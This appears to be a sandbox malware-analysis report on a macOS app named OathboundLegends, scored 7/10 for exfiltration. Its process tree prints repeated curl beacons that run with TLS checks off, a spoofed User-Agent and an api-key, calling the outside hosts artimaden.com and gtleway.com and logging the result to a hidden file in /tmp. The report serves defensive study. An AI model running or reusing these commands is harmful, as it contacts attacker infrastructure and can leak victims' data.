Overview

overview

7

Static

static

1

cbe6067a9e...38dd59

macos-10.15-amd64

1

OathboundL...egends

macos-10.15-amd64

7

Analysis

  • max time kernel
    68s
  • max time network
    103s
  • platform
    macos-10.15_amd64
  • resource
    macos-20250619-en
  • resource tags

    arch:amd64arch:i386image:macos-20250619-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    14/08/2026, 17:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends
  • Size 114KB
  • Sample260814-vnrrpseq3x
  • SHA256 e78cab348c5cea336911592956f47ac2883c6a875c94c7db7d7f1df0d2f832f3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
exfiltration

Malware Config

Signatures

  • Exfiltration Over Alternative Protocol 1 TTPs 12 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

    exfiltration

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends\""
    1⤵
      PID:455
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends\""
      1⤵
        PID:455
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends
        1⤵
          PID:455
          • /bin/zsh
            /bin/zsh -c /Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends
            2⤵
              PID:457
            • /Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends
              /Users/run/OathboundLegends/OathboundLegends.app/Contents/MacOS/OathboundLegends
              2⤵
                PID:457
            • /bin/sh
              sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
              1⤵
                PID:458
              • /bin/bash
                sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                1⤵
                  PID:458
                  • /usr/bin/curl
                    curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "https://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                    2⤵
                      PID:459
                  • /bin/sh
                    sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                    1⤵
                      PID:464
                    • /bin/bash
                      sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                      1⤵
                        PID:464
                        • /usr/bin/curl
                          curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "http://artimaden.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                          2⤵
                            PID:465
                        • /bin/sh
                          sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                          1⤵
                            PID:466
                          • /bin/bash
                            sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                            1⤵
                              PID:466
                              • /usr/bin/curl
                                curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "https://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                                2⤵
                                  PID:467
                              • /bin/sh
                                sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                1⤵
                                  PID:478
                                • /bin/bash
                                  sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"https://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                  1⤵
                                    PID:478
                                    • /usr/bin/curl
                                      curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "https://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                                      2⤵
                                        PID:479
                                    • /bin/sh
                                      sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                      1⤵
                                        PID:488
                                      • /bin/bash
                                        sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                        1⤵
                                          PID:488
                                          • /usr/bin/curl
                                            curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "http://asia.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                                            2⤵
                                              PID:489
                                          • /bin/sh
                                            sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                            1⤵
                                              PID:490
                                            • /bin/bash
                                              sh -c "curl -k -s --max-time 12 --connect-timeout 8 -H \"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36\" -H \"api-key: 5190ef1733183a0dc63fb623357f56d6\" \"http://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd\" -o /dev/null -w \"%{http_code}\" > /tmp/.httpcode 2>/dev/null"
                                              1⤵
                                                PID:490
                                                • /usr/bin/curl
                                                  curl -k -s --max-time 12 --connect-timeout 8 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) CFNetwork/Darwin 26.0.0 AppleWebKit/537.36" -H "api-key: 5190ef1733183a0dc63fb623357f56d6" "http://usa.gtleway.com/dynamic?txd=11652675a4fc444185967559b8e182ca60b075cfead8bf3741d952d6c4ed2bcd" -o /dev/null -w "%{http_code}"
                                                  2⤵
                                                    PID:491
                                                • /usr/libexec/xpcproxy
                                                  xpcproxy com.apple.nsurlstoraged
                                                  1⤵
                                                    PID:500
                                                  • /usr/libexec/nsurlstoraged
                                                    /usr/libexec/nsurlstoraged --privileged
                                                    1⤵
                                                      PID:500
                                                    • /usr/libexec/xpcproxy
                                                      xpcproxy com.apple.StreamingUnzipService 172
                                                      1⤵
                                                        PID:504
                                                      • /System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
                                                        /System/Library/PrivateFrameworks/StreamingZip.framework/Versions/A/XPCServices/com.apple.StreamingUnzipService.xpc/Contents/MacOS/com.apple.StreamingUnzipService
                                                        1⤵
                                                          PID:504

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads